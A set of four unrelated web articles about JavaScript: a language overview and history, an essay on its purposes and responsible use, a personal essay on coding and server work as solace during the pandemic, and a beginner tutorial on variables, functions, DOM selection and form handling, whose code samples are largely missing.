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What is JavaScript? The full-stack programming language

Javascript is the most in-demand programming language for developer jobs and one of the most versatile languages for full-stack development. here's what you need to know about javascript..

Josh Fruhlinger

Contributing writer, InfoWorld |

What is JavaScript? The full stack programming language

A brief history of JavaScript

What is javascript used for, advantages of using javascript, javascript libraries and frameworks, typescript: a superset of javascript, resources for learning javascript, get started with javascript.

JavaScript is a wildly popular interpreted scripting language that was the most in-demand language of 2023 , with 29% of job offers requiring programming experience with JavaScript or TypeScript. There are various reasons for JavaScript's success, starting from the fact that it's an open standard, not controlled by any single vendor, with numerous implementations and a syntax that is easy to learn.

Just about anything interactive or animated on a webpage today is rendered in JavaScript. Thanks to server-side frameworks such as Node.js , Deno , and bun , the language also extends beyond the browser. It is used to write code for anything from clients to servers to cloud-based applications.

This is an overview of JavaScript, including a brief history, what kinds of applications it is used for, tools for working with JavaScript, and resources for learning JavaScript.

As its name implies, JavaScript is a scripting language. Traditional languages such as C++ are compiled before they’re run into executable binary form, with the compiler checking for errors in the entire program before the process is complete. Scripting languages, by contrast, are executed one line at a time by another program called an interpreter. Scripting languages started out as a series of shell commands used to execute other programs. Their flexibility and ease of use made them a popular type of programming language in their own right, and languages like JavaScript became important with the rise of the web.

Many developers new to JavaScript wonder about the Java part of its name. The short story is that Java and JavaScript emerged during the same historic moment, and both were key to the birth of the web. Their history is intertwined, but the two languages are separate. Brendan Eich, JavaScript's creator, explained why JavaScript was considered an important complement to Java in the original Netscape browser:

There were people who argued strongly that Java’s fine for programmers who build components, but there’s a much larger audience of people who write scripts or maybe copy a script from somebody else and tweak it. These people are less specialized and may be paid to do something other than programming, like administer a network, and they write scripts part-time or on the side. If they’re writing small pieces of code, they just want to get their code done with the minimal amount of fuss.

Originally called LiveScript, the language was created with syntax that was superficially similar to Java in order to tap into the emerging Java developer community. Even though its usage grew in tandem with Java and early web development, JavaScript was long considered a lesser sidekick to the more robust Java programming language.

In 1997, the ECMA (European Computer Manufacturers Association) issued a standard defining the language that anyone could implement. The reason for this move was that “Java” remained a Sun trademark that only Netscape had a license to use. The new, standardized version of JavaScript was dubbed ECMAScript , but in practice, most people know the language as JavaScript.

JavaScript was developed to help create interactive websites, and this remains one of its primary uses today. Developers incorporate JavaScript into their website code, where it is executed by the interpreter built into the user's browser. The JavaScript code creates or modifies HTML on the fly to produce dynamic content and interact with back-end data stores. When used this way, JavaScript is called a client-side language, with one of its most lucrative applications being mobile games. Server-side frameworks like Node.js extend JavaScript for more scalable and event-driven applications.

You won't hear anyone arguing that JavaScript is a perfect language, but it is a very useful one. It's easy to write workable code quickly in JavaScript, and while interpreted languages often don't perform well compared to compiled code, JavaScript has a special advantage here because it was initially created for web browsers. Three of the biggest software companies in the world—Microsoft, Apple, and Google—compete to produce high-performance JavaScript interpreters. As a result, JavaScript is a remarkably robust and scalable language, even given its humble beginnings.

Once non-browser viable JavaScript runtimes became widely available, the army of web developers well-versed in JavaScript suddenly found themselves crowned as full-stack developers . The JavaScript tooling ecosystem boosts developer productivity with code that gets the job done from the browser to the server. Due to its popularity, the language is also frequently updated. It's a classic example of a virtuous cycle of popularity driving adoption.

You'll sometimes hear people refer to vanilla JavaScript . This, in a nutshell, means you're working with an application that was written in JavaScript from the ground up. This is fine for small bits of functionality, but once you start working at scale, it quickly becomes untenable, as any enterprise developer will tell you. Most JavaScript developers make frequent use of the vast array of available JavaScript libraries —prewritten third-party code, usually free and open source, that solves a common problem and can be integrated into your project. (The ECMAScript standard refers to JavaScript modules , but library is the more commonly used term in practice.)

Most JavaScript developers turn to libraries for basic application plumbing rather than reinventing the wheel. There are also frameworks , which are collections of libraries designed to work together to provide the scaffolding for enterprise-scale applications. Using frameworks lets developers focus on the technical aspects of their programs. Probably the most famous JavaScript framework is Angular . Others include React and Vue .

An important aspect of the JavaScript ecosystem is TypeScript , which is similar to JavaScript but has features that the basic language lacks, like strong typing of variables and other data structures. TypeScript and languages like it are often designed to bring to JavaScript concepts that make it easier to build sprawling enterprise-scale applications efficiently; TypeScript in particular was created at Microsoft when the company was developing a web-based version of its flagship Office suite.

TypeScript is said to be a superset of JavaScript because its syntax includes everything in JavaScript,  and then some : good JavaScript is always good TypeScript, but TypeScript has syntax that isn't part of JavaScript. TypeScript code is transpiled into ordinary JavaScript, allowing it to run in browsers and on standard JavaScript runtimes. Learn more about the similarities and differences between TypeScript and JavaScript .

If you are serious about becoming a JavaScript developer you’ll want to go deeper than this article. The W3Schools JavaScript tutorial is great for your first dive into JavaScript syntax. Here are some additional articles and tutorials to help you get started:

  • The Modern JavaScript Tutorial is a comprehensive resource that takes you step by step from a simple Hello, World! program to ways to build sophisticated interactive functionality into the browser.
  • JavaScript Examples at Tutorial Republic offer a wealth of short JavaScript programs that escalate in difficulty so you can see how JavaScript code works in action.
  • InfoWorld's Matthew Tyson writes frequently about JavaScript frameworks and programming techniques. Popular recent articles include  Using JavaScript and forms ,  Using JavaScript's built-in objects , and Building JavaScript tables in React .

JavaScript Snake is a live example of what you can do with JavaScript. It's a classic game that can be built to run in the browser using only JavaScript, HTML, and CSS. This tutorial from Panayiotis Nicolaou shows you how.

Are you ready to start playing around with JavaScript today? Because it’s an interpreted language, you don't need to download JavaScript. You can just fire up your favorite text editor (or better yet, a JavaScript editor or IDE) and start typing code! A JavaScript interpreter is built into any web browser that executes commands, so you can simply embed your JavaScript into an HTML document and load it up to test.

If you want to run JavaScript code in a desktop environment—which will give you access to the filesystem, among other things—then you can download Node.js .

Next read this:

  • Why companies are leaving the cloud
  • 5 easy ways to run an LLM locally
  • Coding with AI: Tips and best practices from developers
  • Meet Zig: The modern alternative to C
  • What is generative AI? Artificial intelligence that creates
  • The best open source software of 2023
  • Software Development
  • Programming Languages

Josh Fruhlinger is a writer and editor who has been covering tech since the first dot-com boom. He’s interested in open source, changes in the development landscape, and what happens when tech theory meets practice in the real world.

Copyright © 2024 IDG Communications, Inc.

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The purpose of JavaScript

In this article, we discuss what JavaScript can be used for on the web, its downsides, and how to use it responsibly.


Now the Web Standards Curriculum has taken you through the core essential concepts of programming, it is time to take a step back from the details and take a high-level look at what you can actually do with JavaScript — why would you want to take the time to learn such a complicated subject, and use it on your web pages?

This is an interesting time, as the usage of JavaScript has moved away from a fringe knowledge matter to a mainstream web development skill over the last few years. Right now, it is difficult to get a job as a web developer without JavaScript skills.

How people came to like JavaScript

Computers used to be much slower and browsers were bad at interpreting JavaScript. Most developers came from a back-end development world. Back then, JavaScript just seemed like a bad idea.

On the other hand, the cost of hosting files was very high. This is where JavaScript came in: JavaScript is executed on users’ computers when they access the page, meaning that anything you can do in JavaScript will not add processing strain onto your server. Hence, it is client-side. This made sites much more responsive for the end user and less expensive in terms of server traffic.

Skip forward to today – modern browsers have well-implemented JavaScript, computers are much faster, and bandwidth is a lot cheaper, so a lot of the negatives are less critical. However, cutting down on server round-trips by doing things in JavaScript still results in more responsive web applications and a better user experience.

The downside of JavaScript

Even with all these improvements, there is still a catch: JavaScript is flaky. Not the language itself but the environment it is implemented in. You do not know what computer is on the receiving end of your web page, you do not know how busy the computer is with other things, and you do not know if some other JavaScript in another tab of the browser is grinding things down to a halt. Until browsers begin having different processing resources for different tabs and windows (also known as threads), this will always remain an issue. Multiple threading is made available to a certain degree by a new HTML5 feature called Web workers, and this has reasonable browser support.

In addition, JavaScript is frequently turned off in browsers because of security concerns, or because JavaScript is often used to annoy people rather than to improve their experience. For example, a lot of sites still try to pop-up new windows against your wishes, or cover the content with advertising until you click a link to get rid of it.

What JavaScript can do for you

Let’s take a step back and count the merits of JavaScript:

  • JavaScript is very easy to implement. All you need to do is put your code in the HTML document and tell the browser that it is JavaScript.
  • JavaScript works on web users’ computers — even when they are offline!
  • JavaScript allows you to create highly responsive interfaces that improve the user experience and provide dynamic functionality, without having to wait for the server to react and show another page.
  • JavaScript can load content into the document if and when the user needs it, without reloading the entire page — this is commonly referred to as Ajax.
  • JavaScript can test for what is possible in your browser and react accordingly — this is called Principles of unobtrusive JavaScript or sometimes defensive scripting.
  • JavaScript can help fix browser problems or patch holes in browser support — for example fixing CSS layout issues in certain browsers.

That is a lot for a language that until recently was laughed at by programmers favouring “higher programming languages”. One part of the renaissance of JavaScript is that we are building more and more complex web applications these days, and high interactivity either requires Flash (or other plugins) or scripting. JavaScript is arguably the best way to go, as it is a web standard, it is supported natively across browsers (more or less — some things differ across browsers, and these differences are discussed in appropriate places in the articles that follow this one), and it is compatible with other open web standards.

Common uses of JavaScript

The usage of JavaScript has changed over the years we have been using it. At first, JavaScript interaction with the site was mostly limited to interacting with forms, giving feedback to the user, and detecting when they do certain things. We used alert() to notify the user of something (see Figure 1), confirm() to ask if something is OK to do and either prompt() or a form field to get user input.

A form using an alert to flag up errors

Figure 1: Telling the end user about errors using an alert() statement was all we could do in the early days of JavaScript. Neither pretty nor subtle.

This led mostly to validation scripts that stopped the user to send a form to the server when there was a mistake, and simple converters and calculators. In addition, we managed to build highly useless things like prompts asking the user for their name just to print it out immediately afterwards.

Another thing we used was document.write() to add content to the document. We also worked with pop-up windows and frames and lost many a nerve and pulled out hair trying to make them talk to each other. Thinking about most of these technologies should make any developer rock forward and backward and curl up into a fetal position stammering “make them go away”, so let’s not dwell on these things — there are better ways to use JavaScript!

Enter DOM scripting

When browsers started supporting and implementing the Document Object Model (DOM) , which allows us to have much richer interaction with web pages, JavaScript started to get more interesting.

The DOM is an object representation of the document. For example, the previous paragraph (check out its source using view source) in DOM-speak is an element node with a nodeName of p . It contains three child nodes :

  • a text node containing "When browsers started supporting and implementing the " as its nodeValue ;
  • an element node with a nodeName of a ;
  • another text node with a nodeValue of ", which allows us to have much richer interaction with web pages, JavaScript started to get more interesting.".

The a child node also has an attribute node called href with a value of " http://www.w3.org/DOM/ " and a child node that is a text node with a nodeValue of "Document Object Model(DOM)".

You could also represent this paragraph visually using a tree diagram, as seen in Figure 2.

Figure 2: A visual representation of our sample DOM tree.

In human words, you can say that the DOM explains both the types, the values, and the hierarchy of everything in the document — you do not need to know anything more for now. For more information on the DOM, check out the Traversing the DOM article later in the course.

Using the DOM you can:

  • Access any element in the document and manipulate its look, content, and attributes.
  • Create new elements and content and apply them to the document when and if they are needed.

This means that we do not have to rely on windows, frames, forms, and ugly alerts any longer, and can give feedback to the user in the document in a nicely styled manner, as indicated in Figure 3.

A form using DOM error messages

Figure 3: Using the DOM you can create nicer and less intrusive error messages.

Together with event handling, this is a very powerful arsenal to create interactive and beautiful interfaces.

Event handling means that our code reacts to things that happen in the browser. This could be things that happen automatically — like the page finishing loading — but most of the time we react to what the user did to the browser.

Users might resize the window, scroll the page, press certain keys, or click on links/buttons/elements using the mouse. With event handling, we can wait for these things to happen and tell the web page to respond to these actions as we wish. Whereas in the past, clicking any link would take the site visitor to another document, we can now hijack this functionality and do something else like showing and hiding a panel or taking the information in the link and using it to connect to a web service.

Events are covered in much more detail in the Handling events in JavaScript article later in the course.

Other modern uses of JavaScript

And this is basically what we are doing these days with JavaScript. We enhance the old, tried and true web interface — clicking links, entering information and sending off forms, etc. — to be more responsive to the end user. For example:

  • A sign-up form can check if your user name is available when you enter it, preventing you from having to endure a frustrating reload of the page.
  • A search box can give you suggested results while you type, based on what has been entered so far (for example “bi” could bring up suggestions to choose from that contain this string, such as “bird”, “big”, and “bicycle”). This usage pattern is called autocomplete .
  • Information that changes constantly can be loaded periodically without the need for user interaction, for example sports match results or stock market tickers.
  • Information that is a nice-to-have and runs the risk of being redundant to some users can be loaded when and if the user chooses to access it. For example the navigation menu of a site could be 6 links but display links to deeper pages on-demand when the user activates a menu item.
  • JavaScript can fix layout issues. Using JavaScript, you can find the position and area of any element on the page, and the dimensions of the browser window. Using this information you can prevent overlapping elements and other such issues. Say for example you have a menu with several levels; by checking that there is space for the sub-menu to appear before showing it, you can prevent scroll-bars or overlapping menu items.
  • JavaScript can enhance the interfaces HTML gives us. While it is nice to have a text input box you might want to have a combo box allowing you to choose from a list of preset values or enter your own. Using JavaScript, you can enhance a normal input box to do that.
  • You can use JavaScript to animate elements on a page — for example to show and hide information, or highlight specific sections of a page — this can make for a more usable, richer user experience. There is more information on this in the JavaScript animation article later on in the course.

Using JavaScript sensibly and responsibly

There is not much you cannot do with JavaScript — especially when you mix it with other technologies like Canvas or SVG . However, with great power comes great responsibility, and you should always remember the following when using JavaScript:

  • JavaScript might not be available — this is easy to test for, so not really a problem. However, things that depend on JavaScript should be created with this in mind, and you should be careful that your site does not break (i.e. essential functionality is not available) if JavaScript is not available.
  • If the use of JavaScript does not aid the user in reaching a goal more quickly and efficiently you are probably using it wrong.
  • Using JavaScript, we often break conventions that people have got used to over years of using the web (for example, clicking links to go to other pages, or a little basket icon meaning “shopping cart”). Whilst these usage patterns might be outdated and inefficient, changing them still means making users change their ways — and this makes humans feel uneasy. We like being in control and once we understand something, it is hard for us to deal with change. Your JavaScript solutions should feel naturally better than the previous interaction, but not so different that the user cannot relate to it via their previous experience. If you manage to get a site visitor saying “ah ha — this means I do not have to wait” or “Cool — now I do not have to take this extra annoying step” — you have got yourself a great use for JavaScript.
  • JavaScript should never be a security measure. If you need to prevent users from accessing data or you are likely to handle sensitive data, then do not rely on JavaScript. Any JavaScript protection can easily be reverse-engineered and overcome, as all the code is available to read on the client machine. Also, users can just turn JavaScript off in their browsers.

JavaScript is a wonderful technology to use on the web. It is not that hard to learn and it is very versatile. It plays nicely with other web technologies — such as HTML and CSS — and can even interact with plugins such as Flash. JavaScript allows us to build highly responsive user interfaces, prevent frustrating page reloads, and even fix support issues for CSS. Using the right browser add-ons (such as Google Gears or Yahoo Browser Plus) you can even use JavaScript to make online systems available offline and sync automatically once the computer goes online.

JavaScript is also not restricted to browsers. The speed and small memory footprint of JavaScript in comparison to other languages brings up more and more uses for it — from automating repetitive tasks in programs like Illustrator, up to using it as a server-side language with a standalone parser. The future is wide open.

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The Healing Power of JavaScript

A little over a year ago, as the Covid-19 lockdowns were beginning to fan out across the globe, most folks grasped for toilet paper and canned food. The thing I reached for: a search function.

The purpose of the search function was somewhat irrelevant. I simply needed to code. Code soothes because it can provide control in moments when the world seems to spiral. Reductively, programming consists of little puzzles to be solved. Not just inert jigsaws on living room tables, but puzzles that breathe with an uncanny life force. Puzzles that make things happen, that get things done, that automate tedium or allow for the publishing of words across the world.

Like many other writers and artists, I maintain a personal website. My current one has been active for nearly 20 years. Code in mind, I brushed off my rusty JavaScript skills and started to poke around for fuzzy-search libraries I could bolt onto my homepage, to make it easy to find specific essays from my collection.

Break the problem into pieces. Put them into a to-do app (I use and love Things). This is how a creative universe is made. Each day, I’d brush aside the general collapse of society that seemed to be happening outside of the frame of my life, and dive into search work, picking off a to-do. Covid was large; my to-do list was reasonable.

The real joy of this project wasn’t just in getting the search working but the refinement, the polish, the edge bits. Getting lost for hours in a world of my own construction. Even though I couldn’t control the looming pandemic, I could control this tiny cluster of bits.

The whole process was an escape, but an escape with forward momentum. Getting the keyboard navigation styled just right, shifting the moment the search payload was delivered, finding a balance of index size and search usefulness. And most important, keeping it all light, delightfully light. And then writing it up, making it a tiny “gist” on GitHub, sharing with the community. It’s like an alley-oop to others: Go ahead, now you use it on your website. Super fast, keyboard-optimized, client side Hugo search.

It's not perfect, but it’s darn good enough.

The point being that a habit of reaching for code is not only healing for the self, but a trick to transmute a sense of dread into something: A function that seems to add, however trivially, a small bit of value to the greater whole in a troubling moment.

I began coding when I was 10 and have been running with it ever since. Self-taught, mostly. I had a preternatural awkwardness with others. The machine was literal in a reassuring way, and seemed to promise access to a world that even the adults around me couldn’t fathom. In this way, the code became a friend—a nonjudgmental buddy.

A pattern was set: When the complexities of social situations exhausted me as a child, I turned to code, became an isolate. Ellen Ullman writes in her book Life in Code: A Personal History of Technology , “Until I became a programmer, I didn’t thoroughly understand the usefulness of such isolation: the silence, the reduction of life to thought and form; for example, going off to a dark room to work on a program when relations with people get difficult.”

Reading assembly language books in middle school or programming BBS software in high school didn’t register, then, explicitly, as a salve. My first conscious acknowledgement of the palliative power of code came a few years ago when I refactored my website from one content management system to another. This sounds implausible, but it’s true: I was healed by a CMS, a Google-unique phrase—and for good reason.

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At the time, I was suffering from personal and professional depressions, a long time in the making. I had been knocked off kilter. When I took stock of my mind, I realized it was not where I wanted or expected it to be.

This happens to me, sometimes; to certain people, many times. I think often of the epigraph of William Styron’s Darkness Visible when I feel the weight of a depression descend: “For the thing which I greatly feared is come upon me …” That descent usually means I haven’t been getting enough rest. I don't mean over the course of days, but rather months or years. A slow tilting, like a ship taking on water through a pinhole. Given enough time, it must tip. My mind was tipping, and I found myself grasping for, of all things, servers. Like a life raft. Servers, it turns out, are one of my safe places.

I had wanted to shed my rickety and overpriced Rackspace server for years, but had been too lazy. It's a meaty task, a task for grunts, thankless, and one that requires focus.

Most everything related to servers happens in the “terminal,” on the command line, in a world devoid of images or graphical interfaces. Just text. Every action is key-precise and hyper-literal. A mistype of a single character can destroy a system. In fact, for decades, servers have presented the following message when you enter into administrator or “super user” mode:

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
1: Respect the privacy of others.
2: Think before you type.
3: With great power comes great responsibility.

It can make a person weak in the knees to think about how much of the world's smooth operation is contingent on typing accuracy. But it is, and when you move through the guts of your favorite Linux operating system distribution, you can't help but stare gape-mouthed at the absurdity and beauty of the crisscross threads that keep the web and most of our digital (and, by proxy, physical) infrastructure afloat.

Therein lies part of the attraction: Moving through that jumble—with all of its perverted poetics of grep and vi and git and apache and *.ini—*and doing so with a fingers-floating-across-the-keyboard balletic grace, is exhilarating. You feel like an alchemist. And you are. You type esoteric words— near gibberish—into a line-by-line text interface, and with a rush not unlike pulling Excalibur from the stone you've just scaffolded a simple application that can instantly be accessed by a vast number of humans worldwide.

Romantic partners have regarded me with confusion and perhaps suspicion when I suddenly went fluent in bash (a flavor of terminal shell used to type commands). It was as if I had been keeping a dirty secret from them. I once dropped quick-fingered into text-land to help a friend's teenage son install some Minecraft mods, and by the look in his eyes I could tell I had become a minor celebrity in real time. With a few hundred keystrokes, two generations were bridged.

I find peace in the dark mess of that world. Code and servers are a home to me in a way that's difficult to explain to anyone for whom they are not.

So in my tilted state, my slightly depressive state, I moved websites from my old server to my new server. My tasks were guided by the trusty to-do list. URLs of old sites marked off distinct epochs in my life, of a variety of lenses through which I once saw myself. Perhaps I am this kind of artist or will be this kind of writer?

The old websites of mine are ghosts. Nobody will look at or think to hunt them down. I moved them because I feel a stewardship over them, feel that they have a right to go on living in bits.

A lot of this server work involved making complicated sites less complex. That is: Making the dynamic static. Gutting these sites of their PHP cores, Benjamin Buttoning them back into sleepy HTML and CSS, making them low maintenance and future friendly. It's funny how even something as simple as a MYSQL database requires pruning, nurture. How a PHP script—so seemingly innocuous!—is rendered obsolete a decade later as deprecation creeps, mental models of languages evolve. But take a page of HTML from the early ’90s, and it renders as well as ever on most anything with a screen.

In that spirit, as I moved my homepage I also rebuilt it as a so-called static site. A simpler version that should continue to work for the next hundred years. It looks nearly the same as it did before. With static sites, we've come full circle, like exhausted poets who have travelled the world trying every form of poetry and realizing that the haiku is enough to see most of us through our tragedies.

As is true for most infrastructure work, these gruntish behind-the-scenes tasks are often neglected, or derided as irrelevant, underfunded, ignored. That is, until they break, or a pandemic hits, and then we realize how infrastructure is everything, and without it our world reverts to some troglodytic cave state, or perhaps worse, an ever-widening extreme of haves and have-nots.

In the late 1990s you almost had no choice but to be your own homepage steward and janitor and systems engineer. Now you can offload that stewardship to a third party. Tumblr, Ghost, Facebook, Blogger, Wordpress—platforms have sprung up where you can focus purely on content in exchange for giving up a certain level of control.

You can take stewardship too far. I probably have. There is a diminishing return on what you can get out of any system, regardless of how much you put into it. But I don't care.

This work of line-by-line problem solving gets me out of bed some days. Do you know this feeling? The not-wanting-to-emerge-from-the-covers feeling? Every single morning of the last year may have been the most collectively experienced covers-craving in human history, where so many things in the world were off by a degree here or a degree there. But under those covers I begin to think— A ha! I know how to solve server problem x, or quirk y. I know how to fix that search code. And I'm able to emerge and become human, or part human, and enter into that line-by-line world, where there is very little judgement, just you and the mechanics of the systems, systems that become increasingly beautiful the more time you spend with them. For me, this stewardship is therapy.

And so I pull apart a system—a system that I have loved and has served me well over the years—and figure out a better, more sustainable framework for the code, and one hopes, by extension, maybe even the world.

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Tutorial 5 : An Introduction To JavaScript

💬*"In some ways, programming is like painting. You start with a blank canvas and certain basic raw materials. You use a combination of science, art, and craft to determine what to do with them."* (Andrew Hunt)

Why JavaScript?

Welcome to the fifth and final day of your web development short course! Today, we’ll touch upon JavaScript and try to improvise a bit as we learn more about this third and final pillar of the web.

JavaScript, as you might know, is ubiquitous in today’s software development world. It's the foundation of frontend web development and is the key ingredient in frameworks like ReactJS, Angular, and VueJS. It can also help create solid backends with platforms like Nodejs, runs desktop applications like Slack, Atom, and Spotify, and runs on mobile phones as Progressive Web Apps (PWAs).

In short, it's everywhere—and for good reason. For starters, compared to other languages like C and Java, JavaScript is generally easier to learn. When we say ‘easier’, we mean in terms of how quickly you can go from being a JavaScript novice to someone who can actually make a living writing professional, high quality JavaScript code. So, in that sense, it’s more accessible than some other languages like C and Java.

JavaScript is also a fun and rewarding language, which is especially important when you’re just getting started in software development. The community support is very good, so if you get stuck, there’s a good chance that the problem and its solution already exist on the web.


Now that we’ve gotten a bird’s-eye view of JavaScript, let’s get into the more technical detail. JavaScript was created to add ‘life to webpages’. Just like HTML and CSS, JavaScript is written in plain text files with a .js extension.

As previously mentioned, JavaScript can be used to accomplish many useful operations on the frontend, like validating forms, alerting users, storing temporary data, and performing calculations—to name just a few.

😎Pro tip: Apart from the name itself, JavaScript has no relation to Java. Beginners often get confused between the two languages. Remember that Java is an entirely different language made for a different purpose (although you’ll still find it running on certain website backends).

Lastly, before we look at today’s itinerary, remember that JavaScript, just like HTML and CSS (but maybe even more so), is a vast language. We’ll only be learning parts of it that are relevant to us today, so we’ll list some good resources at the end if you’d like to learn more.

What are we going to do today?

  • Use JavaScript basics: Variables, functions, and operators
  • Select HTML elements with JavaScript
  • Attach a ‘click’ listener to HTML form elements
  • Fetch some user-entered values
  • Validate our form with JavaScript

The wait is finally over! Let’s get right to it.

1. JavaScript basics

JavaScript is a programming language, and like most programming languages, it has some basic constructs that we’ll look at. A program in JavaScript is like a sequence of steps. Similar to how we give directions to a stranger, a computer needs detailed instructions, defined as steps, to accomplish any simple or complex action.

Let’s begin by looking at some basics.

Writing Javascript

Just like we did for CSS, we’ll create a new file for writing JavaScript called " script.js " in the portfolio directory. Now open the index.html file, and just before the closing body tag ( </body> ), insert this line.

View code changes on GitHub >

That’s it. We have linked our script file in our HTML. Just to make sure it works, write the following code into your script.js file.

Save and refresh the page.

javascript essay

Notice the dialog box at the top? That’s your first line of JavaScript, the alert code, executing. Try changing the text and refreshing. You can do that in the CodePen below too!

If you followed along with the last section, you have correctly set up the script file. We’re ready to write some JavaScript! Let’s have a look at some important concepts.

Variables are friendly names that hold data. Think of how you call a person by their name as opposed to ‘human’ or ‘one head, two eyes, one nose…’ and so on. Variables are simply human-friendly (and descriptive) names for pieces of data. Let’s consider an example.

Here we’re defining a variable called ‘greeting’ and assigning it the value of ‘Hello world’. It almost reads like English–’let greeting be Hello world ’–see? Now greeting holds the value ‘Hello world’ in it, and can be used instead of the literal text ‘Hello world’.

You could write:

Refresh the page and the result should be the same. While it seems like we’re doing more to achieve the same result, in the real world, variables are immensely useful for storing data. Variables can also be used to store different types of data such as numbers, strings, and other variables.

Did you notice how we wrote ‘let’ before the actual variable name? That’s one way of declaring a variable in JavaScript. You can learn more in this Mozilla guide to declarations .

Also note how each line ends with a semicolon (;). This isn’t strictly needed (except for some specific cases), but it’s best practice to use them, so we recommend you do so.

Arithmetic Operators

JavaScript can also be used as a calculator. In fact, a lot of the code you’ll see in the wild will have basic calculations everywhere. It supports all the regular functions, called operators, like plus (+), minus (-), multiply (*), divide (/) and so on. You could do something like the following and it should say 5, just as you’d expect. Try running the CodePen below and you should see a popup in the current browser window.

You could also store the values in their own variables and then the result in another variable.

Try running it; did you get 5 again? No? Open the Chrome Developer Tools and go to the Console tab. Does it say anything?

javascript essay

Aah, an error in script.js file on line 4 (notice the script.js:4 on the right corner of that red error message). Did you spot the error on line 4? It’s the alert that’s missing the closing parenthesis. Fix it, and try running your code again.

Comparison Operators

Comparison operators compare two things together. In English and other languages, we often ask questions like ‘Is it warmer today than yesterday’ or ‘Are these two buildings of the same size?’. The answer to these questions is either a yes or a no, and they’re usually comparing two things (today vs yesterday, building 1 vs building 2 etc). In programming terms, it's either a "true" or "false".

We can ask questions like those in JavaScript too! In JavaScript, we have the following comparison operators:

{: .operators-table}

*There are less strict variants of these, namely == and !=, which enable you to compare two things that may not be of the same type.

“1” == 1 is true, but “1” === 1 is not true, as “1” is a string, while 1 is a number.

We recommend you stick to strict equal/not equal (=== and !==), and avoid the use of == and !=

Functions are blocks of code to which we assign a name so that we can reuse them. Say adding two numbers is a common operation for our website. We can write the above code inside a function, as follows:

See how the function accepts two numbers (number1 and number2, formally called the parameters of the function), adds them, and ‘returns’ the result; in other words, sends the result back to you. Here we’ve defined how the ‘add’ function should behave, but we’re not using it. To use this code, we’ll need to ‘call’ it. Calling a function is simply writing its name and using parentheses to pass in the ‘arguments’ (actual parameters).

Let’s take another example. Consider a function that ‘alerts’ whatever is sent to it.

In this function, alertMessage is the function name, message is the parameter and we have no return value (notice the missing return statement).

When we call it as alertMessage(‘Hello World’) , the ‘Hello World’ part is the argument of the function. This is just the tip of the iceberg in the world of functions, but enough to get us moving.

Getting back to the add function, we’ll use it as follows:

Did it run okay? If not, look into the console and see if you have any syntactical errors.

Repeating what we said about variables, this might again seem like more work to do exactly the same thing, and you’d be right in saying that. However, this will help us prepare for something more than just adding two numbers together.

Flow Control

Generally, a program in JavaScript will execute line by line. But there are instances when we wish to execute a statement based on some condition, or execute a group of statements multiple times. Such change in the order of execution of code is called flow control.

An example will make it clearer. Suppose you wish to show different messages to your users depending on whether they’re 18 and above or not. In plain English, your logic would be as follows:

If age is less than 18 , display “You’re not an adult”, else, display “You’re an adult”

In JavaScript, you’d write the code as follows:

Notice how similar the plain English version is to the JavaScript code. What we just wrote is an example of an if..else statement. Notice the age < 18 part. That’s the condition. We’ve used the less than operator here from the Comparison Operators section above.

The general syntax of if..else is:

We’ll use if..else whenever we’ll need to make a decision in the code–for example, making sure our users have entered the right data.

The last important concept needed for our website is the JavaScript object. Objects are simply containers for key-value pairs, similar to what you’d find in a dictionary. In a dictionary, a key is a word and a value is the meaning of the word. In a JavaScript object, a key is a name, and a value can be anything, even other objects. Let’s look at an example:

In our example object, which is called ‘fullName’, firstName and lastName are keys, and ‘John’ and ‘Doe’ are the values.

We can access the firstName by using the dot (.) notation. The following will show the alert ‘John’.

As mentioned, objects can have other objects and functions inside of them.

We can send an alert, in this case with:

You’ll see this pattern used all over once we move to the next section.

2. Selecting HTML elements

The power of JavaScript on the web lies in its power to select and modify the HTML code. For example, we can write a function in JavaScript that gets called when we click the ‘submit’ button in our footer form.

To do that, let’s first select our submit button and attach a ‘click listener’ function to it. When we attach a click listener to an element, it will call that listener function when the button is clicked. To be able to select our button, we’ll give it an ID attribute with a unique ID in our HTML file.

Now that we have an ID to select, let’s move to our JavaScript file and use a JavaScript function, document.querySelector() to select our element. Just like we could select HTML elements by their names, class attributes or IDs in CSS, we can the same in JavaScript using this function.

document.querySelector takes the selector as its parameter, and returns the HTML element that matched the selector, in the form of an Object (remember that Object are just containers for key-value pairs of data). We can then store this HTML element in a variable, and perform all sorts of operations on it.

Notice how the ID needs to be prefixed by the pound character (#), just like when you select IDs in CSS. If it were a class name you’d use (you guessed it) a period (.), like .submit-button

Pro tip: When in doubt, try console.log(<variable>) to ‘log’–that is to display a certain message in the Chrome Developer Console–the variable in JavaScript. For example, after writing the previous line, try logging the submitButton variable with

and check the output. If you see ‘undefined’ or ‘null’, it means something is incorrect.

javascript essay

In general, try tinkering with the developer tools. It takes time, but once you get the hang of it, figuring out what went wrong (‘debugging’) becomes easier.

3. Attaching a ‘click’ listener

Now that we have the HTML element selected and stored in a JavaScript variable, let’s add a click listener function to it. A click listener, as the name suggests, listens or waits for a click. We attach click listeners to certain elements that are of our interest–form submit buttons–for example. When the said HTML element is clicked, the click listener function gets called.

Notice that the click listener function is just an ordinary function that we pass to the addEventListener() function (yes, passing functions to other functions as arguments is possible and very common in JavaScript!).

But before we try to run this, we’ll need to make some changes to the above code to make sure it runs properly.

You can also try running the CodePen snippet. Click the 'Send Message' button and then open the Developer Console in the same window as the one you’re reading this course in. You should see the text Button clicked in the console.

Essentially, we’re taking the event parameter supplied to our function, which contains the details of the click event (like what was clicked, button properties, etc), and preventing the form from refreshing the page with event.preventDefault()

Save and reload. Open the Developer Tools, Console tab and try clicking the button.

Hurray!! It works.

Our next step is to get the values entered into the form using JavaScript.

4. Getting user entered values

We have a form on our webpage, but we haven’t talked about how we’ll extract the data that a user might enter in our form. To make any form ‘work’, we generally get the data (that is, text in our case) inside of the form elements (inputs, textareas etc) into JavaScript variables and then send it to the server. Optionally, many developers like to do some validations (that is, checks) on the data before sending it to the server. An example validation could be checking the format of the email entered.

Remember the document.querySelector we used in the previous section? We used it to select HTML elements. Since form inputs are nothing but HTML elements, and the data that a user might enter in those inputs is stored inside of the HTML elements, we could use the same document.querySelector and select our HTML elements.

Then, we need to know a crucial piece of information. An HTML input’s value, or the data inside of it, can be accessed via the ‘value’ key. Remember Objects? The HTML input element object will have a ‘value’ key that holds the current text inside of the element.

Finally, we’ll console.log the values from the input and textarea and see what we’re getting in the emailText and messageText variables.

Perfect! Did you see how the message just logs, flawlessly? Beautiful, we say. Instead of just printing the emailText and messageText, we’ve formatted it a bit using console.log('email:', emailText, …) which will print it nicely with the label email: printed as is.

